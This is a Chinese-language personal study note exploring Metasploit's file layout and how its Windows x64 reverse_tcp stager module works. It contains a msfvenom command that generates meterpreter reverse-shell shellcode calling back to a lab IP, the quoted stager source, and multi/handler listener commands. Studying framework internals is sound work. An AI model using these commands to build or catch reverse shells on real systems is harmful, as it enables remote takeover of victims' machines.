声明:本内容只作为个人学习研究使用,请勿用作其他用途。
msf本身只是一个攻击的框架,每个模块module以及payload都对应一个ruby脚本。随着漏洞更新,官方会提供新的攻击脚本,更新msf的过程可以理解为把这些新的脚本下载下来,就可以直接使用了。
kali自带的msf路径位置在/usr/share/metasploit-framework/
进入此目录结构如下,其中有msfconsole、msfvenom这些可执行文件
┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ ls
app lib msfrpc ruby
config metasploit-framework.gemspec msfrpcd script-exploit
data modules msfupdate script-password
db msfconsole msfvenom script-recon
documentation msfd msf-ws.ru scripts
Gemfile msfdb plugins tools
Gemfile.lock msf-json-rpc.ru Rakefile vendor
进入modules目录下,可以看到常用的auxiliary、encoder、exploits、payloads这些模块
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ls
auxiliary encoders evasion exploits nops payloads post
在进入payloads目录下,可以看到payload的类型,了解了一下stagers模块是建立某种形式的通信,会在稍后加载stages模块的payload;因此可以理解为stagers是为下载stages攻击载荷提供服务的。平时生成的木马也就是这个stagers。
进入stagers目录中的windows/x64目录下可以看到reverse_tcp_rb,这应该就是平时使用的msfvenom命令使用的脚本(稍后会进行验证)。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=8899 -f raw -o /home/kali/Desktop/out.bin
脚本内容如下
module MetasploitModule
CachedSize = 449
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp_x64
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse TCP Stager',
'Description' => 'Connect back to the attacker (Windows x64)',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockrdi',
'Stager' => { 'RequiresMidstager' => false }
))
end
end
看到include,去找找这个include,目录/usr/share/metasploit-framework/lib/msf/core/payload/windows/x64
看官方文档找到的
https://docs.metasploit.com/api/Msf/Payload/Windows/ReverseTcp_x64.html
这个目录下有reverse_tcp_x64.rb文件,为了验证msfvenom命令是使用的这个脚本,这里给第一行汇编又加了一个cld命令,再次使用msfvenom生成一个raw格式的shellcode,拖入ida中发现确实汇编代码中增加了一条cld命令。并且msf可以获取shell(因为脚本中有一个CachedSize = 449不知道是干啥的,不知道修改asm之后会不会影响运行所以验证一下),验证完毕。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp